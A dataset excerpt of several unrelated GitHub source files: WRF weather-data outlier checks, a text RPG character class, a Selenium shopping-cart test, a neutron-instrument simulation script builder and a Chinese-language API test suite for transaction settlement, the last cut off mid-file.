iqr_upper_threshold, iqr_lower_threshold], compat='override')\n iqr_outliers_ds = xr.merge([iqr_outlier_upper, iqr_outlier_lower], compat='override')\n\n iqr_stats_ds = iqr_stats_ds.drop_vars(\"quantile\")\n iqr_outliers_ds = iqr_outliers_ds.drop_vars(\"quantile\")\n\n return iqr_stats_ds, iqr_outliers_ds\n\n\ndef zscore_test(ds: xr.Dataset, ds_variables: list, z_threshold: int = 4) -> xr.Dataset:\n \"\"\"\n Calculate outliers using the Z-score test for each variable in the input dataset.\n\n Parameters\n ----------\n ds : xarray.Dataset\n Dataset containing the variables to calculate outliers for.\n ds_variables : list of str\n List of variable names to calculate outliers for.\n z_threshold : int, optional\n The Z-score threshold used to define outliers. Default is 4.\n\n Returns\n -------\n xr.Dataset\n Dataset containing the Z-score and the upper and lower outliers for each variable.\n\n Notes\n -----\n This function calculates the Z-score for each variable along the time dimension.\n\n Outliers are defined as values that are above the upper threshold or below the lower threshold.\n\n The returned dataset contains the following variables for each input variable:\n - 'zscore': The Z-score\n - 'z_outlier_upper': The upper outliers (values above the upper threshold)\n - 'z_outlier_lower': The lower outliers (values below the lower threshold)\n\n Missing or NaN values are skipped when calculating the Z-score and outliers.\n \"\"\"\n zscore_ds = xr.Dataset()\n\n for ds_var in ds_variables:\n # Compute the Z-score\n z = xr.apply_ufunc(\n zscore,\n ds[ds_var],\n input_core_dims=[[\"time\"]],\n output_core_dims=[[\"time\"]],\n vectorize=True,\n output_dtypes=[np.dtype(\"float32\")],\n kwargs={\"nan_policy\": \"omit\"},\n )\n\n # Compute the upper and lower outliers\n z_outliers = ds[ds_var].where(abs(z) > z_threshold)\n\n # Add the Z-score and outliers to the output dataset\n zscore_ds[f\"{ds_var}_zscore\"] = z\n zscore_ds[f\"{ds_var}_z_outlier_upper\"] = z_outliers.where(z > z_threshold)\n zscore_ds[f\"{ds_var}_z_outlier_lower\"] = z_outliers.where(z < -z_threshold)\n\n zscore_ds.attrs[\"z_threshold\"] = z_threshold\n return zscore_ds\n\n\ndef rh_anomaly(ds, ds_variables, rh_threshold=1.15, rh_threshold_neg=-0.015) -> xr.Dataset:\n \"\"\"\n Calculate the anomalies in relative humidity from the given dataset.\n\n Parameters\n ----------\n ds : xarray.Dataset\n Dataset containing the variables to calculate anomalies for.\n ds_variables : list of str\n List of variable names to calculate anomalies for.\n rh_threshold : float, optional\n The threshold used to define RH values greater than 100%. Default is 1.15.\n rh_threshold_neg : float, optional\n The threshold used to define RH values less than 0%. Default is -0.015.\n\n Returns\n -------\n xr.Dataset\n Dataset containing the relative humidity anomalies.\n\n Notes\n -----\n This function calculates the anomalies in relative humidity (RH) greater than 100% and less than 0%.\n\n Outliers are defined as values that are above the upper threshold or below the lower threshold.\n\n The returned dataset contains the following variables:\n - 'RH_over100': The RH anomalies greater than 100%\n - 'RH_neg': The RH anomalies less than 0%\n\n The dataset is indexed by time, latitude, and longitude.\n\n Missing or NaN values are skipped when calculating RH anomalies.\n \"\"\"\n\n if \"RH\" in ds_variables:\n rh_over100_ds = ds[\"RH\"].where(ds[\"RH\"] > rh_threshold).rename(\"RH_over100\")\n rh_negative_ds = ds[\"RH\"].where(ds[\"RH\"] < rh_threshold_neg).rename(\"RH_neg\")\n rh_anomaly_ds = xr.merge([rh_over100_ds, rh_negative_ds], join=\"outer\")\n\n return rh_anomaly_ds\n\n\ndef has_sunlight(latitude: xr.DataArray, longitude: xr.DataArray, time: List[datetime]) -> xr.DataArray:\n \"\"\"\n Determine whether a given location has sunlight at a specific time.\n\n Parameters\n ----------\n latitude : xr.DataArray\n Array of latitudes for each location.\n longitude : xr.DataArray\n Array of longitudes for each location.\n time : List[datetime]\n List of datetime objects representing the times to check.\n\n Returns\n -------\n xr.DataArray\n DataArray of boolean values indicating whether each location has sunlight at each time.\n The shape is (time, lat, lon).\n \"\"\"\n timestamps = [pd.Timestamp(t) for t in time]\n datetimes = [ts.to_pydatetime() for ts in timestamps]\n datetimes = [time.replace(tzinfo=timezone.utc) for time in datetimes if time.tzinfo is None]\n\n dates = sorted(list({t.date() for t in datetimes}))\n frames = []\n\n def get_dawn(lat, lon, d):\n try:\n return dawn(LocationInfo(name=\"\", region=\"\", timezone=\"UTC\", latitude=lat, longitude=lon).observer,\n date=d, depression=-2)\n except ValueError as e:\n # hack to fix precision errors for CONUS\n return get_dawn(lat, lon + 0.5, d)\n\n def get_dusk(lat, lon, d):\n try:\n return dusk(LocationInfo(name=\"\", region=\"\", timezone=\"UTC\", latitude=lat, longitude=lon).observer,\n date=d, depression=-2)\n except ValueError as e:\n # hack to fix precision errors for CONUS\n return get_dusk(lat, lon + 0.5, d)\n\n for date in dates:\n today_dawn = xr.apply_ufunc(get_dawn, latitude, longitude, date, vectorize=True)\n today_dusk = xr.apply_ufunc(get_dusk, latitude, longitude, date, vectorize=True)\n\n for t in [t for t in datetimes if t.date() == date]:\n if t.tzinfo is None:\n t = t.replace(tzinfo=timezone.utc)\n\n frames.append(xr.apply_ufunc(\n lambda tdawn, tdusk, t: ((t <= tdusk) or (t >= tdawn)) if tdawn > tdusk else (tdawn <= t <= tdusk),\n today_dawn, today_dusk, t, vectorize=True).values)\n\n return xr.DataArray(np.stack(frames, axis=2).transpose((2, 0, 1)), dims=[\"time\", \"lat\", \"lon\"])\n\n\ndef find_lan_nlad(ds: xr.Dataset, ds_variables: list) -> Tuple[xr.DataArray, xr.DataArray, xr.DataArray]:\n \"\"\"\n Find locations with light at night (LAN) and no light at day (NLAD) in a given dataset.\n\n Parameters\n ----------\n ds : xr.Dataset\n Dataset containing the variables to check for LAN and NLAD.\n ds_variables : list of str\n List of variable names to check for LAN and NLAD.\n\n Returns\n -------\n Tuple of xr.DataArray\n Tuple containing the LAN DataArray, the NLAD DataArray, and the DataArray indicating whether each location\n has sunlight. The shape of each DataArray is (time, lat, lon). If the 'SWDOWN' variable is not present in the\n input dataset, returns None for all three DataArrays.\n \"\"\"\n\n if \"SWDOWN\" in ds_variables:\n\n has_light = has_sunlight(ds.lat, ds.lon, ds.time.values)\n\n lan = ds[\"SWDOWN\"].where(has_light.values == False).where(ds[\"SWDOWN\"] >= 50)\n nlad = ds[\"SWDOWN\"].where(has_light.values == True).where(ds[\"SWDOWN\"] == 0)\n lan_xr = xr.Dataset().assign(SWDOWN_LAN=lan)\n nlad_xr = xr.Dataset().assign(SWDOWN_NLAD=nlad)\n light_anomaly_df = xr.merge([lan_xr, nlad_xr])\n\n\n else:\n None\n\n return light_anomaly_df\n\n\ndef find_zeros(ds: xr.Dataset, ds_variables: List[str], checklist: Optional[List[str]] = None) -> xr.Dataset:\n \"\"\"\n Replaces non-zero values in the given variables in the dataset with NaN, and returns only the variables in the checklist.\n\n Parameters:\n -----------\n ds : xr.Dataset\n The input dataset.\n ds_variables : List[str]\n A list of variables to search for zeros in.\n checklist : Optional[List[str]], default=None\n A list of variables to check for zeros in. If None, default value [\"T2\", \"PSFC\", \"RH\"] is used.\n\n Returns:\n --------\n xr.Dataset\n A copy of the input dataset with non-zero values in the specified variables replaced with NaN, and only the variables\n in the checklist.\n \"\"\"\n\n if checklist is None:\n checklist = [\"T2\", \"PSFC\", \"RH\"]\n\n vars = [var_name for var_name in ds_variables if var_name in checklist]\n\n zeros_mask = ds[vars] == 0\n ds_with_nans = ds.copy()\n ds_with_nans[vars] = ds_with_nans[vars].where(zeros_mask, other=np.nan)\n zero_ds = ds_with_nans[vars]\n zero_ds = zero_ds.rename({var: f\"{var}_has_zero\" for var in vars})\n\n return zero_ds\n\n\ndef find_negatives(ds: xr.Dataset, ds_variables: List[str], checklist: Optional[List[str]] = None) -> xr.Dataset:\n \"\"\"\n Replaces non-zero values in the given variables in the dataset with NaN, and returns only the variables in the checklist.\n\n Parameters:\n -----------\n ds : xr.Dataset\n The input dataset.\n ds_variables : List[str]\n A list of variables to search for zeros in.\n checklist : Optional[List[str]], default=None\n A list of variables to check for zeros in. If None, default value [\"T2\", \"PSFC\", \"RH\"] is used.\n\n Returns:\n --------\n xr.Dataset\n A copy of the input dataset with non-zero values in the specified variables replaced with NaN, and only the variables\n in the checklist.\n \"\"\"\n\n if checklist is None:\n checklist = [\"LU_INDEX\", \"T2\", \"PSFC\", \"SFROFF\", \"UDROFF\", \"ACSNOM\", \"SNOW\", \"SNOWH\", \"RAINC\", \"RAINSH\",\n \"RAINNC\", \"SNOWNC\", \"GRAUPELNC\", \"HAILNC\", \"SWDOWN\"]\n\n vars = [var_name for var_name in ds_variables if var_name in checklist]\n\n negative_mask = ds[vars] == 0\n ds_with_nans = ds.copy()\n ds_with_nans[vars] = ds_with_nans[vars].where(negative_mask, other=np.nan)\n negative_ds = ds_with_nans[vars]\n negative_ds = negative_ds.rename({var: f\"{var}_has_negative\" for var in vars})\n\n return negative_ds\n","repo_name":"IMMM-SFA/wrf_qa_qc","sub_path":"find_outliers.py","file_name":"find_outliers.py","file_ext":"py","file_size_in_byte":13301,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"41458386830","text":"import random\nfrom classes.game import bcolors\n# todo make private members\n\n\nclass Person:\n\n def __init__(self, name, hp, mp, atk, df, magic, items):\n self.__name = name\n self.__max_hp = hp\n self.__hp = hp\n self.__max_mp = mp\n self.__mp = mp\n self.__atk_high = atk + 15\n self.__atk_low = atk - 15\n self.__df = df\n self.__magic = magic\n self.__actions = [\"Attack\", \"Magic\", \"Items\"]\n self.__items = items\n self.__dead = False\n\n def __str__(self):\n summary = self._Person__name + \" Summary: \" + \\\n \"\\n Hit Points: \" + str(self._Person__hp) + \\\n \"\\n Defense: \" + str(self._Person__df) + \\\n \"\\n Attack Points: \" + str(self._Person__atk_high) + \\\n \"\\n Actions: \" + str(self._Person__actions)\n print(bcolors.LIGHT_YELLOW + summary + bcolors.ENDC)\n\n def get_name(self):\n return str(self._Person__name)\n \n def is_dead(self):\n return self._Person__dead\n \n def set_dead(self):\n self.__dead = True\n\n def get_hp(self):\n return self._Person__hp\n\n def get_max_hp(self):\n return self._Person__max_hp\n\n def get_mp(self):\n return self._Person__mp\n\n def get_max_mp(self):\n return self._Person__max_mp\n\n def get_df(self):\n return self._Person__df\n\n def get_actions(self):\n return self._Person__actions\n\n def get_magic(self):\n return self._Person__magic\n\n def get_items(self):\n return self._Person__items\n\n def generate_damage(self):\n return random.randrange(self._Person__atk_low, self._Person__atk_high)\n\n def take_damage(self, dmg):\n self.__hp -= dmg\n if self.__hp < 0:\n self.__hp = 0\n return self._Person__hp\n\n def heal(self, dmg):\n self.__hp += dmg\n if self.__hp > self._Person__max_hp:\n self.__hp = self._Person__max_hp\n\n def take_elixir(self):\n self.__hp = self._Person__max_hp\n self.__mp = self._Person__max_mp\n\n def reduce_mp(self, cost):\n self.__mp -= cost\n\n def choose_actions(self):\n index = 1\n print(bcolors.BLUE + bcolors.BOLD + \" \" + self._Person__name + \"'s ACTIONS!\" + bcolors.ENDC)\n for action in self._Person__actions:\n print(\" \" + str(index) + \":\", action)\n index += 1\n\n def choose_magic(self):\n index = 1\n print(\"\\n\" + bcolors.BLUE + bcolors.BOLD + \" \" + self._Person__name + \"'s MAGIC\" + bcolors.ENDC)\n for spell in self._Person__magic:\n print(\" \" + \" \" + str(index) + \":\", str(spell.get_name()), \"(Cost:\", str(spell.get_cost()), \")\")\n index += 1\n\n def choose_item(self):\n index = 1\n print(\"\\n\" + bcolors.LIGHT_MAGENTA + bcolors.BOLD + \" \" + self._Person__name + \"'s ITEM\" + bcolors.ENDC)\n for item in self._Person__items:\n print(\" \" + \" \" + str(index) + \":\", str(item.get_name()), \"(Description:\", str(item.get_description()), \") \",\n \"x\", item.get_quantity())\n index += 1\n \n def show_stats(self):\n hp_bar = \"\"\n hp_bar_ticks = (self._Person__hp / self._Person__max_hp) * 100 / 4\n mp_bar = \"\"\n mp_bar_ticks = (self._Person__mp / self._Person__max_mp) * 100 / 10\n \n while hp_bar_ticks > 0:\n hp_bar += \"█\"\n hp_bar_ticks -= 1\n \n while len(hp_bar) < 25:\n hp_bar += \" \"\n\n while mp_bar_ticks > 0:\n mp_bar += \"█\"\n mp_bar_ticks -= 1\n\n while len(mp_bar) < 10:\n mp_bar += \" \"\n \n hp_string = str(self._Person__hp) + \"/\" + str(self._Person__max_hp)\n mp_string = str(self._Person__mp) + \"/\" + str(self._Person__max_mp)\n \n current_hp = \"\"\n if len(hp_string) < 7:\n decreased = 7 - len(hp_string)\n \n while decreased > 0:\n current_hp += \" \"\n decreased -= 1\n \n current_hp += hp_string\n else:\n current_hp = hp_string\n\n current_mp = \"\"\n if len(mp_string) < 7:\n decreased = 7 - len(mp_string)\n \n while decreased > 0:\n current_mp += \" \"\n decreased -= 1\n \n current_mp += mp_string\n else:\n current_mp = hp_string\n \n print(\" _________________________ __________\")\n print(bcolors.BOLD + self._Person__name, current_hp +\n \" |\" + bcolors.GREEN + hp_bar + bcolors.ENDC + \"| \" + bcolors.BOLD,\n current_mp + \" |\" + bcolors.BLUE + mp_bar + bcolors.ENDC + \"|\")\n \n def show_enemy_stats(self):\n hp_bar = \"\"\n hp_bar_ticks = (self._Person__hp / self._Person__max_hp) * 100 / 2\n \n while hp_bar_ticks > 0:\n hp_bar += \"█\"\n hp_bar_ticks -= 1\n\n while len(hp_bar) < 50:\n hp_bar += \" \"\n\n hp_string = str(self._Person__hp) + \"/\" + str(self._Person__max_hp)\n \n current_hp = \"\"\n if len(hp_string) < 11:\n decreased = 11 - len(hp_string)\n \n while decreased > 0:\n current_hp += \" \"\n decreased -= 1\n \n current_hp += hp_string\n else:\n current_hp = hp_string\n \n print(\" __________________________________________________\")\n print(bcolors.BOLD + self._Person__name, current_hp +\n \" |\" + bcolors.RED + hp_bar + bcolors.ENDC + \"| \" + bcolors.BOLD)\n print(\"\\n\")\n\n def has_died(self):\n if self.__hp == 0:\n return True\n else:\n return False\n ","repo_name":"jmlopezt/RPG-Battle-Script-Game","sub_path":"classes/Person.py","file_name":"Person.py","file_ext":"py","file_size_in_byte":5875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"23435375975","text":"from Core.Attraction import Attraction, AttractionManager\nfrom Utility.Array import elAdd, maksimalArray, panjangArray\n\n# Program Best Wahana\n# Last Update: 20 April 2020\n\n# Deskripsi:\n# Program ini berisi prosedur untuk memperlihatkan wahana dengan\n# data penjualan terbanyak.\n\ndef bestwahana(attrmanager):\n\n attractionids = (attrmanager.getAttractions())[0]\n attractions = (attrmanager.getAttractions())[1]\n\n def getSaleArray():\n result = []\n for attr in attractions:\n result = elAdd(result, attr.getSale())\n return result\n \n def penamaan(nama):\n if panjangArray(nama) < 8:\n return nama + \"\\t\\t\"\n else:\n return nama + \"\\t\"\n\n sales = getSaleArray()\n\n best1 = maksimalArray(sales)\n print(best1)\n if best1 == None: # best1 tidak ada sebab tidak ada wahana sama sekali\n print(\"Tidak ada wahana.\")\n else: # best1 ada\n best2 = maksimalArray(sales, [best1]) # mencari nilai maksimal dengan mengabaikan index best1\n if best2 != None: # best2 ada\n best3 = maksimalArray(sales, [best1, best2]) # mencari nilai maksimal dengan mengabaikan index best1 dan best2\n\n print(\"Best Wahana\")\n print(\" | \\tID Wahana\\t | \\tNama Wahana\\t | \\tPenjualan\")\n if best1 != None:\n print(f\"1 | \\t{attractionids[best1]}\\t\\t | \\t{penamaan(attractions[best1].getName())} | \\t{sales[best1]}\")\n if best2 != None:\n print(f\"2 | \\t{attractionids[best2]}\\t\\t | \\t{penamaan(attractions[best2].getName())} | \\t{sales[best2]}\")\n if best3 != None:\n print(f\"3 | \\t{attractionids[best3]}\\t\\t | \\t{penamaan(attractions[best3].getName())} | \\t{sales[best3]}\")","repo_name":"ravielze/Tubes_Daspro","sub_path":"Function/bestwahana.py","file_name":"bestwahana.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13948528860","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\nimport time\nfrom Utilities.BaseClass import BaseClass\nfrom pageObject.HomePage import HomePage\n\n\nclass TestOne(BaseClass):\n\n def test_e2e(self):\n homePage = HomePage(self.driver)\n\n itemList1 = []\n itemList2 = []\n\n homePage.SearchBar().send_keys(\"ber\")\n time.sleep(3)\n\n ItemsFound = homePage.AddToCartItem()\n print(len(ItemsFound))\n\n for item in ItemsFound:\n # ItemName = item.find_element_by_xpath(\"parent::div/parent::div/h4\").text\n ItemName = item.find_element_by_xpath(\"../../h4\").text\n itemList1.append(ItemName)\n item.click()\n\n print(itemList1)\n\n # Add to cart\n homePage.CartIcon().click()\n homePage.ProceedToCheckOut().click()\n\n self.PresenseOfElement(\"//*[@class='promoBtn']\")\n\n CartItem = self.driver.find_elements_by_xpath(\"//*[@class='product-name']\")\n print(len(CartItem))\n\n for cartI in CartItem:\n CItem = cartI.text\n print(CItem)\n itemList2.append(CItem)\n\n print(itemList2)\n assert itemList1 == itemList2\n\n print(\"This is GIT demo testing\")\n print(\"We will push this code to the repository\")\n print(\"We will push this code to the repository\")\n print(\"This is GIT demo testing\")\n print(\"We will push this code to the repository\")\n print(\"We will push this code to the repository\")\n print(\"This is GIT demo testing\")\n print(\"We will push this code to the repository\")\n print(\"We will push this code to the repository\")\n","repo_name":"rajiv22064/SeleniumPython","sub_path":"Framewrok/test_EndToEnd.py","file_name":"test_EndToEnd.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34608654128","text":"#!/usr/bin/env python\n#\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#\n# Jiao Lin\n# California Institute of Technology\n# (C) 2007 All Rights Reserved\n#\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#\n\n\nclass Builder:\n\n\n def __init__(self, path):\n 'path: path in which data files are generated'\n self.path = path\n return\n \n\n def render(self, instrument):\n self.appscript = []\n self.cmdline_opts = {}\n self.indent_level = 0\n self.dispatch( instrument )\n \n return self.appscript, self.cmdline_opts\n\n\n def dispatch(self, something):\n func = 'on%s' % something.__class__.__name__\n f = getattr( self, func )\n return f( something )\n\n\n def applyConfiguration( self, configuration, instrument ):\n from InstrumentConfigurationApplyer import applyer\n applyer( instrument ).apply( configuration )\n return\n\n\n def onConfiguredInstrument(self, configured):\n instrument = configured.instrument\n configuration = configured.configuration\n self.applyConfiguration( configuration, instrument )\n return self.dispatch( instrument )\n\n\n def onInstrument(self, instrument):\n self._write( 'import mccomponents.pyre_support' )\n self._write( 'from mcni.pyre_support.Instrument import Instrument as base' )\n self._write( 'class Instrument(base):' )\n\n self._indent()\n self._write(\n 'class Inventory(base.Inventory):'\n )\n\n self._indent()\n self._write( 'import pyre.inventory' )\n self._write( 'from mcni.pyre_support import facility, componentfactory as component')\n \n for component in instrument.components:\n self.dispatch( component )\n continue\n\n sequence = instrument.componentsequence\n \n if 'sample' in sequence:\n self.onSample( )\n pass # end if\n\n self._outdent()\n\n #need to get geometer right\n self._write('def _defaults(self):')\n self._indent()\n self._write('base._defaults(self)')\n self._write('geometer = self.inventory.geometer')\n self._outdent()\n\n self.cmdline_opts[ 'sequence' ] = sequence\n\n geometer = instrument.geometer\n for component in sequence:\n \n record = geometer[ component ]\n \n reference = record.reference_label\n if reference is not None and reference != '':\n raise NotImplementedError\n \n position = record.position\n orientation = record.orientation\n\n value = '%s,%s' % (position, orientation)\n \n self.cmdline_opts[ 'geometer.%s' % component ] = value\n\n continue\n\n self._outdent()\n self._write('')\n\n self._write( 'if __name__ == \"__main__\":' )\n self._indent()\n self._write( 'app = Instrument( %r )' % instrument.short_description )\n self._write( 'app.run()' )\n self._outdent()\n self._write( '' )\n return\n\n\n def onMonochromaticSource(self, source):\n kwds = {\n 'name': source.label,\n 'category': 'sources',\n 'type': 'MonochromaticSource',\n 'supplier': 'mcni',\n }\n self.onNeutronComponent( **kwds )\n\n from mcni.utils import e2v\n v = e2v( source.energy )\n self.Ei = source.energy\n self.cmdline_opts[ '%s.velocity' % source.label ] = (0,0,v) \n return\n\n\n def onSample(self):\n self._write(\n \"sample = facility( 'sample', default = 'sample' )\"\n )\n return\n\n\n def onIQEMonitor(self, m):\n kwds = {\n 'name': m.label,\n 'category': 'monitors',\n 'type': 'IQE_monitor',\n 'supplier': 'mcstas2',\n }\n self.onNeutronComponent( **kwds )\n\n opts = {\n '%s.Ei' % m.label: self.Ei,\n }\n\n parameters = [\n 'Qmin', 'Qmax', 'nQ',\n 'Emin', 'Emax', 'nE',\n 'max_angle_out_of_plane', 'min_angle_out_of_plane',\n 'max_angle_in_plane', 'min_angle_in_plane',\n ]\n\n for param in parameters:\n opts[ '%s.%s' % (m.label,param) ] = getattr(m, param)\n continue\n \n self.cmdline_opts.update( opts )\n return\n\n\n def onDetectorSystem_fromXML(self, ds):\n # first we need to get the detector system xml file\n xmlfile_source = os.path.join(\n self._datadir( ds ), self.detectorsystem_xmlfile)\n xmlfile_target = os.path.join( self.path, self.detectorsystem_xmlfile)\n self._link( xmlfile_source, xmlfile_target )\n\n # then we need to build the options ( odb?)\n kwds = {\n 'name': ds.label,\n 'category': 'detectors',\n 'type': 'DetectorSystemFromXml',\n 'supplier': 'mcni',\n }\n self.onNeutronComponent( **kwds )\n\n #we should use unit to make this automatic\n tofmin = ds.tofmin / 1e6\n tofmax = ds.tofmax / 1e6\n ntofbins = ds.ntofbins\n \n tofparams = '%s,%s,%s' % (\n tofmin, tofmax, (tofmax-tofmin)*1./ntofbins )\n opts = {\n '%s.eventsdat' % ds.label: self.detectorsystem_output_eventfile,\n '%s.instrumentxml' % ds.label: self.detectorsystem_xmlfile,\n '%s.tofparams' % ds.label: tofparams,\n }\n\n self.cmdline_opts.update( opts )\n return\n detectorsystem_xmlfile = 'detectorsystem.xml'\n detectorsystem_output_eventfile = 'detectorsystem-events.dat'\n \n\n def onComponent(self, component):\n realcomponent = component.realcomponent\n realcomponent.label = component.label\n return self.dispatch( realcomponent )\n \n\n def onNeutronComponent(self, **kwds):\n '''\n kwds: name, category, type, supplier\n '''\n self._write( \n '%(name)s = facility(%(name)r, default = component(%(category)r, %(type)r, supplier = %(supplier)r )(%(name)r ) )' % kwds )\n return\n \n \n def _indent(self): self.indent_level += 1\n def _outdent(self): self.indent_level -= 1\n\n def _write(self, s):\n self.appscript.append( '%s%s' % (self.indent_level * ' ', s) )\n return\n\n\n def _link(self, linked, link):\n cmd = 'ln -s %s %s' % (linked, link )\n from spawn import spawn\n spawn( cmd )\n return\n\n\n def _datadir(self, obj):\n from misc import datadir\n datadir = os.path.abspath( datadir() )\n path = os.path.join(\n datadir,\n obj.__class__.__name__.lower(),\n obj.id,\n )\n return path\n\n\n pass # end of Builder\n\n\nimport os\n\n# version\n__id__ = \"$Id$\"\n\n# End of file \n","repo_name":"danse-inelastic/inelastic-svn","sub_path":"graveyard/web/VNET/branches/vnf/vnf/components/InstrumentSimulationAppBuilder.py","file_name":"InstrumentSimulationAppBuilder.py","file_ext":"py","file_size_in_byte":7033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9931048740","text":"\"\"\"后台-成交结算\"\"\"\nfrom PubilcAPI.flowPath import *\n\"\"\"\n结算列表:\n 1、底部统计-验证数据准确性---->WEB_Statistics_kh.py test_statistics_1\n \n# 成交结算列表的显示:\n# 无审核:\n# 1、直接显示,后续无论审核成功与否 都显示\n# 有审核:\n# 1、首次审核通过后,后续无论审核成功与否 都显示\n# 2、审核失败后 不显示 \n# 认购审核通过后,后续无论审核成功与否 都显示\n \n\n\"\"\"\n\n\nclass TestCase(unittest.TestCase):\n \"\"\"客第壹——成交结算\"\"\"\n\n def __init__(self, *args, **kwargs):\n super(TestCase, self).__init__(*args, **kwargs)\n self.xfp_web = webApi()\n self.webApi = self.xfp_web\n\n self.xfp_app = appApi()\n self.appApi = self.xfp_app\n\n self.appText = GlobalMap()\n self.webText = GlobalMap()\n\n @classmethod\n def setUpClass(cls):\n \"\"\"登录幸福派 只执行一次\n 登录幸福派 获取ID\"\"\"\n cls.do_request = appApi()\n cls.appApi = cls.do_request\n cls.appApi.Login()\n cls.appApi.GetUserData()\n cls.request = webApi()\n cls.webApi = cls.request\n cls.webApi.Audit_management()\n if ApiXfpUrl == 'http://xfp.xfj100.com':\n raise RuntimeError('正式站不跑')\n\n def test_DealAccount_001(self):\n \"\"\"结算列表-添加回款信息\"\"\"\n self.webApi.TransactionSettlementList()\n\n \"\"\"添加回款记录\"\"\"\n self.webApi.addOrUpdateReceivableRecords()\n dome = self.appText.get('returnMoney')\n self.webApi.TransReturnList()\n if dome != self.appText.get('returnMoney'):\n print('结算----添加回款记录与回款记录单次金额不一致')\n self.webApi.TransactionSettlementStatisticalInfo()\n if self.appText.get('receivableAmount') != self.appText.get('vlue'):\n print('结算----回款金额与回款记录列表总额不一致')\n\n \"\"\"回款进度 待收金额 -- 详情\"\"\"\n if float(self.appText.get('debtCollectionSchedule')) != \\\n round(self.appText.get('receivableAmount') / self.appText.get('transYeji'), 2):\n print('结算详情---回款进度计算错误')\n if self.appText.get('amountToBeCollected') != \\\n self.appText.get('transYeji') - self.appText.get('receivableAmount'):\n print('结算详情---待收金额计算错误')\n\n \"\"\"回款进度 待收金额 -- 合计\"\"\"\n self.webApi.TransReturnStatistical()\n if self.appText.get('debtCollectionSchedule') != self.appText.get('percentage'):\n print('结算详情--回款进度计算与底部合计计算不一致')\n if self.appText.get('vlue') != self.appText.get('returnMoney'):\n print('结算详情--回款总额计算与底部合计计算不一致')\n if self.appText.get('amountToBeCollected') != self.appText.get('forReceivable'):\n print('结算详情--待回款总额计算与底部合计计算不一致')\n\n \"\"\"添加开票记录\"\"\"\n self.webApi.addOrUpdateReceivableRecords(returnType=2)\n dome = self.appText.get('returnMoney')\n self.webApi.TransReturnList(returnType=2)\n if dome != self.appText.get('returnMoney'):\n print('结算详情----添加开票记录与开票记录单次金额不一致')\n self.webApi.TransactionSettlementStatisticalInfo()\n if self.appText.get('printedInvoiceAmount') != self.appText.get('vlue'):\n print('结算详情---开票金额与开票记录列表总额不一致')\n\n \"\"\"开票进度 待收金额 -- 合计\"\"\"\n self.webApi.TransReturnStatistical(returnType=2)\n if round(self.appText.get('vlue') / self.appText.get('transYeji'), 2) != \\\n float(self.appText.get('percentage')):\n print('结算详情--开票进度计算与底部合计计算不一致')\n if self.appText.get('vlue') != self.appText.get('returnMoney'):\n print('结算详情--开票总额计算与底部合计计算不一致')\n if self.appText.get('transYeji') - self.appText.get('vlue') != \\\n self.appText.get('forReceivable'):\n print('结算详情--待开票总额计算与底部合计计算不一致')\n\n \"\"\"添加授予财富值\"\"\"\n self.webApi.awardedWealthDetail()\n dome = self.appText.get('wealthValue')\n self.webApi.WealthDetailList()\n if dome != self.appText.get('wealthValue'):\n print('结算----授予财富值与授予财富值记录单次金额不一致')\n self.webApi.TransactionSettlementStatisticalInfo()\n if self.appText.get('paidWealth') != self.appText.get('vlue'):\n print('结算----授予财富值与授予财富值列表总额不一致')\n\n \"\"\"添加财务审核后 进行授予财富值\"\"\"\n self.webApi.Audit_management(wealthDetailSwitch=True)\n self.webApi.awardedWealthDetail()\n dome = self.appText.get('wealthValue')\n self.webApi.wealthAudit()\n self.webApi.WealthDetailList()\n if dome != self.appText.get('wealthValue'):\n print('结算----授予财富值与授予财富值记录单次金额不一致')\n self.webApi.TransactionSettlementStatisticalInfo()\n if self.appText.get('paidWealth') != self.appText.get('vlue'):\n print('结算----授予财富值与授予财富值列表总额不一致')\n\n if ApiXfpUrl == 'http://xfp.xfj100.com':\n raise RuntimeError('正式站不跑')\n else:\n \"\"\"发佣\"\"\"\n # 新建发佣申请并且审核通过\n self.webApi.TransactionSettlementStatisticalInfo()\n dome = self.appText.get('paidCommission')\n self.webApi.paymentRequest()\n self.webApi.requestList(keyWord=self.appText.get('CJDH'))\n # self.webApi.paymentRegister()\n self.webApi.requestAudit()\n self.webApi.TransactionSettlementStatisticalInfo()\n if dome + self.appText.get('paymentAmount') != self.appText.get('paidCommission'):\n print('发放佣金新加后没有在结算详情里面进行添加')\n\n \"\"\"发佣列表总和比较\"\"\"\n self.webApi.paymentList()\n self.webApi.TransactionSettlementStatisticalInfo()\n if self.appText.get('paidCommission') != self.appText.get('vlue'):\n print('发佣列表总和比较与详情比较两个值不一样')\n\n # def test_DealAccount_002(self):\n # \"\"\"无审核情况下 录入成交 成交结算列表的变化\"\"\"\n # self.flowPath.client_list_non_null()\n # self.appApi.visitProject_list()\n # if self.appText.get('web_total') == 0:\n # self.flowPath.add_visit()\n # self.flowPath.accomplish_visit()\n # self.appApi.visitProject_list()\n #\n # self.webApi.TransactionSettlementList()\n # dome = self.appText.get('web_total')\n # \"\"\"创建成交 无审核的情况下 结算列表新增\"\"\"\n # self.appApi.ClientList()\n # self.appApi.add_deal()\n # self.webApi.TransactionSettlementList()\n # self.assertEqual(dome + 1, self.appText.get('web_total'))\n #\n # \"\"\"\n # 修改成交单---认购--- 审核失败\n # 修改成交单---网签--- 审核失败\"\"\"\n # self.appApi.deal_List(keyWord=self.appText.get('dealPhone'))\n # self.webApi.detail()\n # self.webApi.Audit_management(customerDeal=True, customerDealLevel=1)\n # A = 0\n # while A != 2:\n # if A == 1:\n # self.flowPath.get_label(labelNo='CJX', labelName='成交项目',\n # 